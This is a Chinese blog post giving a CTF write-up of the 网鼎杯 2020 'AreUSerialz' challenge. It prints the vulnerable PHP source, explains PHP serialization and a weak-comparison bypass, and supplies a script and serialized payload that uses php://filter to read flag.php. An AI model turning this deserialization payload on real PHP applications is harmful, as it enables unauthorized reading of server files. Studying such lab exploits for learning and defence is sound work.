打开题目就是一串代码需要进行代码审计
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
[Result]:
PD9waHAgJGZsYWc9J2ZsYWd7YjFjYzcyMmYtZWNmZS00YTRjLWE3ODAtMjgzMGVmN2ExZmNlfSc7Cg==
补充知识点:
①什么是序列化和反序列化
- php序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中,使用
serialize()函数。 - php反序列化:将压缩后的字符串恢复,就用到了
unserialize()函数。 - PHP反序列化漏洞:如果代码中使用了反序列化
unserialize()函数,并且参数可控,且程序没有对用户输入的反序列化字符串进行校验,那么可以通过在本地构造序列化字符串,同时利用PHP中的一系列魔术方法来达到想要实现的目的,如控制对象内部的变量甚至是函数。
②序列化格式
不同php数据结构序列化后的格式都不一样
- String : s:字符串长度:”字符串值”;
- Integer : i:数值;
- Boolean : b:value;(value为1或0)
- Null : N;
- Array : a:数组大小:{键的描述;值的描述;键的描述;值的描述; …} (描述值同String或Int型的序列化格式)
- Object : O:类名长度:”类名”:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值; …}
我们由最后一段,追溯到上面的is_valid函数:
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
分析代码可知,它对传入的参数中的每一个字符进行判断,确保参数中的每一个字符都是可打印的。
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
如果没有不可打印字符,就将str反序列化
接下来看FileHandler这个类,发现可以利用析构函数
function __destruct()
{
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
在这个析构函数中 ,op用的是===强类型比较,如果op等于2,就置为1,然后执行process函数,而我们发现,我们需要读取flag.php文件,又需要op等于2。
所以要想读取flag.php就要绕过process方法的判断,我们注意到process中用的是==弱类型比较,于是我们传入op的值就为整型2,这样析构函数中就不符合而process中就可以,这样就成功绕过。
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
上脚本:
<?php
highlight_file(__FILE__);
class FileHandler {
public $op = 2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a = new FileHandler();
$b = serialize($a);
echo($b);
?>
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";s:0:"";}
经过base64解码即可
考点
- php弱类型比较
- protected/private类型的属性序列化后产生不可打印字符,public类型则不会
- PHP7.1+对类的属性类型不敏感
所以最终flag为flag{b1cc722f-ecfe-4a4c-a780-2830ef7a1fce}
© 版权声明
渗透云记的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
渗透云记拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:admin@encenc.com
THE END
![[网鼎杯 2020 青龙组]AreUSerialz – buu刷题笔记-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2026/02/6b61e20a8020260210064754.png)














请登录后查看评论内容